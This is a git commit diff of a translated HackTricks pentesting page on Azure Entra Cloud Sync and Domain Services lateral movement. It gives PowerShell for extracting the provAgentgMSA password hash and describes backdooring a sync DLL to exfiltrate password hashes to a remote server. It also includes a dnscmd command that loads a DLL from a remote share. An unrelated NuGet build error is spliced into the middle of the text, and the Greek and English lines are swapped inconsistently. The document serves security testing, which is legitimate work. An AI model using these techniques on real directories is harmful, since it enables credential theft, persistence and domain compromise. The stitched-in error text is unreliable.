Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

This commit is contained in:
Translator
2026-03-03 18:12:53 +00:00
parent c8e0416cb3
commit 2196204963
2 changed files with 48 additions and 50 deletions

View File

@@ -2,55 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
**Cloud Sync** είναι βασικά ο νέος τρόπος του Azure να **συγχρονίζει τους χρήστες από το AD στο Entra ID**.
## Βασικές Πληροφορίες
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Το Microsoft Entra Cloud Sync είναι μια νέα προσφορά από τη Microsoft σχεδιασμένη να καλύψει και να επιτύχει τους στόχους υβριδικής ταυτότητας σας για συγχρονισμό χρηστών, ομάδων και επαφών στο Microsoft Entra ID. Το επιτυγχάνει χρησιμοποιώντας τον πράκτορα παροχής cloud Microsoft Entra αντί της εφαρμογής Microsoft Entra Connect. Ωστόσο, μπορεί να χρησιμοποιηθεί παράλληλα με το Microsoft Entra Connect Sync.
**Cloud Sync** είναι ουσιαστικά ο νέος τρόπος του Azure για να **συγχρονίζει τους χρήστες από το AD στο Entra ID**.
### Principals Generated
[Από την τεκμηρίωση:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync είναι μια νέα προσφορά από τη Microsoft σχεδιασμένη να καλύψει και να πετύχει τους στόχους σας για hybrid identity όσον αφορά το συγχρονισμό χρηστών, ομάδων και επαφών στο Microsoft Entra ID. Το επιτυγχάνει χρησιμοποιώντας τον Microsoft Entra cloud provisioning agent αντί για την εφαρμογή Microsoft Entra Connect. Ωστόσο, μπορεί να χρησιμοποιηθεί παράλληλα με το Microsoft Entra Connect Sync.
Για να λειτουργήσει αυτό, δημιουργούνται ορισμένα principals τόσο στο Entra ID όσο και στον τοπικό κατάλογο:
### Principals που δημιουργούνται
- Στο Entra ID, ο χρήστης `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) δημιουργείται με τον ρόλο **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
Για να λειτουργήσει αυτό, κάποιες principals δημιουργούνται τόσο στο Entra ID όσο και στον on-premise κατάλογο:
- Στο Entra ID δημιουργείται ο χρήστης `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) με το ρόλο **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
> [!WARNING]
> Αυτός ο ρόλος είχε πολλές προνομιακές άδειες και θα μπορούσε να χρησιμοποιηθεί για [**να κλιμακώσει προνόμια ακόμη και σε παγκόσμιο διαχειριστή**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ωστόσο, η Microsoft αποφάσισε να αφαιρέσει όλα τα προνόμια αυτού του ρόλου και να του αναθέσει μόνο ένα νέο **`microsoft.directory/onPremisesSynchronization/standard/read`** που δεν επιτρέπει πραγματικά να εκτελούνται προνομιακές ενέργειες (όπως η τροποποίηση του κωδικού πρόσβασης ή των χαρακτηριστικών ενός χρήστη ή η προσθήκη νέας διαπίστευσης σε ένα SP).
> Αυτός ο ρόλος παλαιότερα είχε πολλά προνομιακά permissions και μπορούσε να χρησιμοποιηθεί για [**κλιμάκωση δικαιωμάτων ακόμα και σε global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ωστόσο, η Microsoft αποφάσισε να αφαιρέσει όλα τα προνόμια αυτού του ρόλου και να του αναθέσει έναν νέο **`microsoft.directory/onPremisesSynchronization/standard/read`** που δεν επιτρέπει πραγματικά την εκτέλεση προνομιακών ενεργειών (όπως η τροποποίηση του password ή των attributes ενός χρήστη ή η προσθήκη νέρου credential σε ένα SP).
- Στο Entra ID δημιουργείται επίσης η ομάδα **`AAD DC Administrators`** χωρίς μέλη ή ιδιοκτήτες. Αυτή η ομάδα είναι χρήσιμη αν χρησιμοποιείται το [`Microsoft Entra Domain Services`](./az-domain-services.md).
- Στο Entra ID δημιουργείται επίσης η ομάδα **`AAD DC Administrators`** χωρίς μέλη ή ιδιοκτήτες. Αυτή η ομάδα είναι χρήσιμη εάν χρησιμοποιείται [`Microsoft Entra Domain Services`](./az-domain-services.md).
- Στο AD, είτε δημιουργείται ο Λογαριασμός Υπηρεσίας **`provAgentgMSA`** με ένα SamAcountName όπως **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), είτε ένας προσαρμοσμένος με [**αυτές τις άδειες είναι απαραίτητος**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Συνήθως δημιουργείται ο προεπιλεγμένος.
- Στο AD είτε δημιουργείται ο Service Account **`provAgentgMSA`** με ένα SamAcountName όπως **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), είτε ένα custom account για το οποίο [**απαιτούνται αυτές οι άδειες**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Συνήθως δημιουργείται το default.
> [!WARNING]
> Μεταξύ άλλων αδειών, ο Λογαριασμός Υπηρεσίας **`provAgentgMSA`** έχει άδειες DCSync, επιτρέποντας **σε οποιονδήποτε το παραβιάσει να παραβιάσει ολόκληρο τον κατάλογο**. Για περισσότερες πληροφορίες σχετικά με [DCSync δείτε αυτό](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Μεταξύ άλλων δικαιωμάτων, ο Service Account **`provAgentgMSA`** έχει δικαιώματα DCSync, επιτρέποντας **σε οποιονδήποτε τον συμβιβάσει να συμβιβάσει ολόκληρο τον κατάλογο**. Για περισσότερες πληροφορίες σχετικά με το [DCSync δείτε εδώ](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Από προεπιλογή, οι χρήστες γνωστών προνομιακών ομάδων όπως οι Domain Admins με το χαρακτηριστικό **`adminCount` σε 1 δεν συγχρονίζονται** με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που είναι μέλη προνομιακών ομάδων χωρίς αυτό το χαρακτηριστικό ή που έχουν ανατεθεί υψηλά προνόμια απευθείας **μπορούν να συγχρονιστούν**.
> Από προεπιλογή, οι χρήστες γνωστών προνομιακών ομάδων όπως οι Domain Admins με το attribute **`adminCount` σε 1 δεν συγχρονίζονται** με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που ανήκουν σε προνομιακές ομάδες χωρίς αυτό το attribute ή που τους έχουν ανατεθεί υψηλά προνόμια απευθείας **μπορούν να συγχρονιστούν**.
## Password Sychronization
## Συγχρονισμός Κωδικών
Η ενότητα είναι πολύ παρόμοια με αυτήν από:
Η ενότητα είναι πολύ παρόμοια με αυτή από:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **Ο συγχρονισμός κατακερματισμένων κωδικών πρόσβασης** μπορεί να ενεργοποιηθεί ώστε οι χρήστες να μπορούν να **συνδεθούν στο Entra ID χρησιμοποιώντας τους κωδικούς πρόσβασης από το AD**. Επιπλέον, όποτε τροποποιείται ένας κωδικός πρόσβασης στο AD, θα ενημερώνεται στο Entra ID.
- **Η εγγραφή κωδικών πρόσβασης** μπορεί επίσης να ενεργοποιηθεί, επιτρέποντας στους χρήστες να τροποποιούν τον κωδικό πρόσβασής τους στο Entra ID συγχρονίζοντας αυτόματα τον κωδικό πρόσβασης στο τοπικό domain. Αλλά σύμφωνα με τα [τρέχοντα έγγραφα](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), για αυτό απαιτείται η χρήση του Connect Agent, οπότε ρίξτε μια ματιά στην [ενότητα Az Connect Sync](./az-connect-sync.md) για περισσότερες πληροφορίες.
- **Η εγγραφή ομάδων**: Αυτή η δυνατότητα επιτρέπει τη συγχρονισμό των μελών ομάδων από το Entra ID πίσω στο τοπικό AD. Αυτό σημαίνει ότι αν ένας χρήστης προστεθεί σε μια ομάδα στο Entra ID, θα προστεθεί επίσης στην αντίστοιχη ομάδα στο AD.
- Η **Password hash synchronization** μπορεί να ενεργοποιηθεί ώστε οι χρήστες να μπορούν να κάνουν login στο Entra ID χρησιμοποιώντας τους κωδικούς τους από το AD. Επιπλέον, όποτε ένας κωδικός τροποποιείται στο AD, θα ενημερώνεται και στο Entra ID.
- Η **Password writeback** μπορεί επίσης να ενεργοποιηθεί, επιτρέποντας στους χρήστες να τροποποιούν τον κωδικό τους στο Entra ID και να συγχρονίζεται αυτόματα ο κωδικός στον on-premise domain. Αλλά σύμφωνα με τα [τρέχοντα docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), για αυτό χρειάζεται να χρησιμοποιηθεί ο Connect Agent, οπότε ρίξτε μια ματιά στην ενότητα [Az Connect Sync](./az-connect-sync.md) για περισσότερες πληροφορίες.
- Groups writeback: Αυτή η δυνατότητα επιτρέπει τα membership ομάδων από το Entra ID να συγχρονίζονται πίσω στο on-premises AD. Αυτό σημαίνει ότι αν ένας χρήστης προστεθεί σε μια ομάδα στο Entra ID, θα προστεθεί επίσης και στην αντίστοιχη ομάδα στο AD.
## Pivoting
### AD --> Entra ID
- Εάν οι χρήστες του AD συγχρονίζονται από το AD στο Entra ID, η περιστροφή από το AD στο Entra ID είναι απλή, απλώς **παραβιάστε τον κωδικό πρόσβασης κάποιου χρήστη ή αλλάξτε τον κωδικό πρόσβασης κάποιου χρήστη ή δημιουργήστε έναν νέο χρήστη και περιμένετε μέχρι να συγχρονιστεί στον κατάλογο Entra ID (συνήθως μόνο μερικά λεπτά)**.
- Αν οι χρήστες του AD συγχρονίζονται από το AD στο Entra ID, το pivoting από AD σε Entra ID είναι απλό — απλά κάνεις compromise τον κωδικό κάποιου χρήστη ή αλλάζεις τον κωδικό κάποιου χρήστη ή δημιουργείς έναν νέο χρήστη και περιμένεις μέχρι να συγχρονιστεί στον κατάλογο του Entra ID (συνήθως μόνο λίγα λεπτά).
Έτσι, θα μπορούσατε για παράδειγμα
- Να παραβιάσετε τον λογαριασμό **`provAgentgMSA`**, να εκτελέσετε μια επίθεση DCSync, να σπάσετε τον κωδικό πρόσβασης κάποιου χρήστη και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
- Απλώς να δημιουργήσετε έναν νέο χρήστη στο AD, να περιμένετε μέχρι να συγχρονιστεί στο Entra ID και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
- Να τροποποιήσετε τον κωδικό πρόσβασης κάποιου χρήστη στο AD, να περιμένετε μέχρι να συγχρονιστεί στο Entra ID και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
Έτσι, για παράδειγμα μπορείς:
- Να συμβιβάσεις τον λογαριασμό **`provAgentgMSA`**, να εκτελέσεις επίθεση DCSync, να σπάσεις τον κωδικό κάποιου χρήστη και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.
- Απλά να δημιουργήσεις έναν νέο χρήστη στο AD, να περιμένεις μέχρι να συγχρονιστεί στο Entra ID και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.
- Να τροποποιήσεις τον κωδικό κάποιου χρήστη στο AD, να περιμένεις μέχρι να συγχρονιστεί στο Entra ID και μετά να τον χρησιμοποιήσεις για να κάνεις login στο Entra ID.
Για να παραβιάσετε τα διαπιστευτήρια του **`provAgentgMSA`**:
Για να συμβιβάσετε τα credentials του **`provAgentgMSA`**:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Τώρα μπορείτε να χρησιμοποιήσετε το hash του gMSA για να εκτελέσετε μια επίθεση Pass-the-Hash κατά του Entra ID χρησιμοποιώντας τον λογαριασμό `provAgentgMSA` και να διατηρήσετε την επιμονή, έχοντας τη δυνατότητα να εκτελέσετε επιθέσεις DCSync κατά του AD.
Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
Για περισσότερες πληροφορίες σχετικά με το πώς να συμβιβάσετε ένα Active Directory, ελέγξτε:
For more information about how to compromise an Active Directory check:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}
> [!NOTE]
> Σημειώστε ότι δεν υπάρχει τρόπος να δοθούν ρόλοι Azure ή EntraID σε συγχρονισμένους χρήστες με βάση τα χαρακτηριστικά τους, για παράδειγμα, στις ρυθμίσεις Cloud Sync. Ωστόσο, προκειμένου να παραχωρηθούν αυτόματα δικαιώματα σε συγχρονισμένους χρήστες, ορισμένες **ομάδες Entra ID από το AD** μπορεί να λάβουν δικαιώματα, έτσι ώστε οι συγχρονισμένοι χρήστες μέσα σε αυτές τις ομάδες να τα λάβουν επίσης ή **μπορεί να χρησιμοποιηθούν δυναμικές ομάδες**, οπότε ελέγξτε πάντα για δυναμικούς κανόνες και πιθανούς τρόπους κατάχρησής τους:
> Σημειώστε ότι δεν υπάρχει τρόπος να δοθούν Azure ή EntraID roles σε συγχρονισμένους χρήστες βάσει των attributes τους, για παράδειγμα στις Cloud Sync ρυθμίσεις. Ωστόσο, για να δοθούν αυτόματα δικαιώματα σε συγχρονισμένους χρήστες, κάποιες **Entra ID groups from AD** μπορεί να λάβουν δικαιώματα ώστε οι συγχρονισμένοι χρήστες μέσα σε αυτές τις ομάδες να τα αποκτούν ή να χρησιμοποιηθούν **dynamic groups**, οπότε πάντα ελέγχετε για dynamic rules και πιθανούς τρόπους κακόβουλης εκμετάλλευσης:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
Σχετικά με την επιμονή, [αυτή η ανάρτηση ιστολογίου](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) προτείνει ότι είναι δυνατό να χρησιμοποιηθεί το [**dnSpy**](https://github.com/dnSpy/dnSpy) για να δημιουργηθεί backdoor στο dll **`Microsoft.Online.Passwordsynchronisation.dll`** που βρίσκεται στο **`C:\Program Files\Microsoft Azure AD Sync\Bin`** και χρησιμοποιείται από τον πράκτορα Cloud Sync για να εκτελεί τη συγχρονισμό κωδικών πρόσβασης, κάνοντάς το να εξάγει τα password hashes των χρηστών που συγχρονίζονται σε έναν απομακρυσμένο διακομιστή. Τα hashes παράγονται μέσα στην κλάση **`PasswordHashGenerator`** και η ανάρτηση ιστολογίου προτείνει την προσθήκη κάποιου κώδικα ώστε η κλάση να φαίνεται έτσι (σημειώστε τη χρήση `use System.Net` και τη χρήση `WebClient` για την εξαγωγή των password hashes):
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
```csharp
using System;
using System.Net;
@@ -121,22 +122,19 @@ RawHash = passwordHashData.RawHash
}
}
```
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
. Please see Error List window for detailed warnings and errors.
### Entra ID --> AD
- Αν είναι ενεργοποιημένο το **Password Writeback**, μπορείτε να τροποποιήσετε τον κωδικό πρόσβασης ορισμένων χρηστών από το Entra ID και αν έχετε πρόσβαση στο δίκτυο AD, να συνδεθείτε χρησιμοποιώντας αυτούς. Για περισσότερες πληροφορίες, ελέγξτε την ενότητα [Az Connect Sync section](./az-connect-sync.md) καθώς η επαναφορά κωδικού πρόσβασης ρυθμίζεται χρησιμοποιώντας αυτόν τον πράκτορα.
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
- Αυτή τη στιγμή, το Cloud Sync επιτρέπει επίσης **"Microsoft Entra ID to AD"**, αλλά μετά από πολύ χρόνο διαπίστωσα ότι ΔΕΝ μπορεί να συγχρονίσει τους χρήστες EntraID με το AD και ότι μπορεί να συγχρονίσει μόνο τους χρήστες από το EntraID που συγχρονίστηκαν με το hash κωδικού πρόσβασης και προέρχονται από τομέα που ανήκει στο ίδιο δάσος τομέα με το δάσος στο οποίο συγχρονίζουμε, όπως μπορείτε να διαβάσετε στο [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Αυτές οι ομάδες μπορούν να περιέχουν μόνο συγχρονισμένους χρήστες από τοπικές εγκαταστάσεις και / ή επιπλέον ομάδες ασφαλείας που δημιουργούνται στο cloud.
> - Οι λογαριασμοί χρηστών από τοπικές εγκαταστάσεις που συγχρονίζονται και είναι μέλη αυτής της ομάδας ασφαλείας που δημιουργήθηκε στο cloud, μπορούν να προέρχονται από τον ίδιο τομέα ή από διαφορετικούς τομείς, αλλά όλοι πρέπει να προέρχονται από το ίδιο δάσος.
> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.
Έτσι, η επιφάνεια επίθεσης (και η χρησιμότητα) αυτής της υπηρεσίας μειώνεται σημαντικά, καθώς ένας επιτιθέμενος θα πρέπει να παραβιάσει το αρχικό AD από το οποίο συγχρονίζονται οι χρήστες προκειμένου να παραβιάσει έναν χρήστη στον άλλο τομέα (και οι δύο πρέπει προφανώς να βρίσκονται στο ίδιο δάσος).
So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
### Enumeration
### Ανίχνευση
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

View File

@@ -4,25 +4,25 @@
## Domain Services
Microsoft Entra Domain Services allows to deploy an Active Directory in Azure without needing to manage Domain Controllers (actually you don't even have access to them).
Το Microsoft Entra Domain Services επιτρέπει την ανάπτυξη ενός Active Directory στο Azure χωρίς να χρειάζεται να διαχειρίζεστε Domain Controllers (στην πραγματικότητα δεν έχετε καν πρόσβαση σε αυτά).
Its main goal is to allow you to run legacy applications in the cloud that can't use modern authentication methods, or where you don't want directory lookups to always go back to an on-premises AD DS environment.
Ο κύριος στόχος του είναι να σας επιτρέψει να τρέχετε legacy εφαρμογές στο cloud που δεν μπορούν να χρησιμοποιήσουν σύγχρονες μεθόδους ταυτοποίησης, ή όπου δεν θέλετε οι αναζητήσεις καταλόγου να επιστρέφουν πάντα σε ένα on-premises AD DS περιβάλλον.
Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
Σημειώστε ότι για να συγχρονίσετε τους χρήστες που δημιουργούνται στο Entra ID (και δεν συγχρονίζονται από άλλες active directories) στην AD domain service πρέπει να **αλλάξετε τον κωδικό πρόσβασης του χρήστη** σε έναν νέο ώστε να μπορέσει να συγχρονιστεί με το νέο AD. Στην πραγματικότητα, ο χρήστης δεν συγχρονίζεται από το Microsoft Entra ID στο Domain Services μέχρι να αλλάξει ο κωδικός πρόσβασης.
> [!WARNING]
> Even if you are creating a new active directory domain you won't be able to completely managed it (unless without exploiting some misconfigurations), which means that by default for example you cannot create users in the AD directly. You create them by **synchronizing users from Entra ID.** You can indicate to synchronize all users (even those synced from other on-premise ADs), only cloud users (users created in Entra ID), or even **filter them more**.
> Ακόμα κι αν δημιουργείτε ένα νέο active directory domain, δεν θα μπορείτε να το διαχειριστείτε πλήρως (εκτός αν εκμεταλλευτείτε κάποιες εσφαλμένες ρυθμίσεις), πράγμα που σημαίνει ότι από προεπιλογή, για παράδειγμα, δεν μπορείτε να δημιουργήσετε χρήστες στο AD απευθείας. Τους δημιουργείτε **συγχρονίζοντας χρήστες από το Entra ID.** Μπορείτε να ορίσετε να συγχρονίζονται όλοι οι χρήστες (ακόμα και αυτοί που συγχρονίζονται από άλλα onpremise ADs), μόνο οι cloud χρήστες (χρήστες που δημιουργούνται στο Entra ID), ή ακόμη και να τους **φιλτράρετε περισσότερο**.
> [!NOTE]
> In general, due to the lack of flexibity on the configuration of the new domain and the fact that ADs are usually already on-premise, this is not the main integration between Entra ID and AD, but still interesting to know how to compromise it.
> Γενικά, λόγω της έλλειψης ευελιξίας στη διαμόρφωση του νέου domain και του γεγονότος ότι τα ADs συνήθως υπάρχουν ήδη onpremise, αυτή δεν είναι η κύρια ενσωμάτωση μεταξύ Entra ID και AD, αλλά είναι ακόμη ενδιαφέρον να γνωρίζουμε πώς να το παραβιάσουμε.
### Pivoting
Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not in the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
Μέλη της δημιουργημένης ομάδας **`AAD DC Administrators`** αποκτούν δικαιώματα τοπικού διαχειριστή σε VMs που είναι domain-joined στο managed domain (αλλά όχι στους domain controllers) επειδή προστίθενται στην τοπική ομάδα administrators. Τα μέλη αυτής της ομάδας μπορούν επίσης να χρησιμοποιήσουν **Remote Desktop για απομακρυσμένη σύνδεση σε domain-joined VMs**, και είναι επίσης μέλη των ομάδων:
- **`Denied RODC Password Replication Group`**: This is a group that specifies users and groups whose passwords cannot be cached on RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs, so it's not that interesting in this environment.
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
- **`Denied RODC Password Replication Group`**: Πρόκειται για μια ομάδα που καθορίζει χρήστες και ομάδες των οποίων οι κωδικοί πρόσβασης δεν μπορούν να αποθηκευτούν στην cache σε RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Αυτή η ομάδα επιτρέπει στα μέλη να δημιουργούν Group Policies στο domain. Ωστόσο, τα μέλη της δεν μπορούν να εφαρμόσουν group policies σε χρήστες ή ομάδες ή να επεξεργαστούν υπάρχοντα GPOs, οπότε δεν είναι τόσο ενδιαφέρουσα σε αυτό το περιβάλλον.
- **`DnsAdmins`**: Αυτή η ομάδα επιτρέπει τη διαχείριση των ρυθμίσεων DNS και είχε καταχραστεί στο παρελθόν για [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), ωστόσο μετά τη δοκιμή της επίθεσης σε αυτό το περιβάλλον ελέγχθηκε ότι η ευπάθεια έχει επιδιορθωθεί:
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -30,16 +30,16 @@ DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Σημειώστε ότι για να χορηγηθούν αυτά τα δικαιώματα, μέσα στο AD η ομάδα **`AAD DC Administrators`** γίνεται μέλος των προαναφερθέντων ομάδων, και επίσης το GPO **`AADDC Computers GPO`** προσθέτει ως Τοπικούς Διαχειριστές όλα τα μέλη της domain ομάδας **`AAD DC Administrators`**.
Σημειώστε ότι για να παραχωρηθούν αυτά τα δικαιώματα, μέσα στο AD, η ομάδα **`AAD DC Administrators`** γίνεται μέλος των προηγούμενων ομάδων, και επίσης το GPO **`AADDC Computers GPO`** προσθέτει ως Local Administrators όλα τα μέλη της domain group **`AAD DC Administrators`**.
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **παραβιάσεις το domain.**
Η μετάβαση (pivoting) από το Entra ID σε ένα AD που δημιουργήθηκε με Domain Services είναι απλή — απλώς πρόσθεσε έναν χρήστη στην ομάδα **`AAD DC Administrators`**, σύνδεσε μέσω RDP σε οποιαδήποτε/όλες τις μηχανές στο domain και θα μπορέσεις να κλέψεις δεδομένα και επίσης να **παραβιάσεις το domain.**
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
Ωστόσο, η μετάβαση από το domain στο Entra ID δεν είναι τόσο εύκολη καθώς τίποτα από το domain δεν συγχρονίζεται στο Entra ID. Παρ' όλα αυτά, έλεγχε πάντα τα metadata όλων των VMs που είναι joined, καθώς οι assigned managed identities τους μπορεί να έχουν ενδιαφέροντα δικαιώματα. Επίσης **dump all the users passwords from the domain** και προσπάθησε να τα crack ώστε στη συνέχεια να κάνεις login στο Entra ID / Azure.
> [!NOTE]
> Σημειώστε ότι στο παρελθόν εντοπίστηκαν κι άλλες ευπάθειες σε αυτό το managed AD που επέτρεψαν να compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ένας επιτιθέμενος που παραβιάζει τους DCs θα μπορούσε πολύ εύκολα να διατηρήσει persistence χωρίς οι Azure admins να το προσέξουν ή ακόμη να μπορούν να το αφαιρέσουν.
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
### Καταγραφή
### Εντοπισμός
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \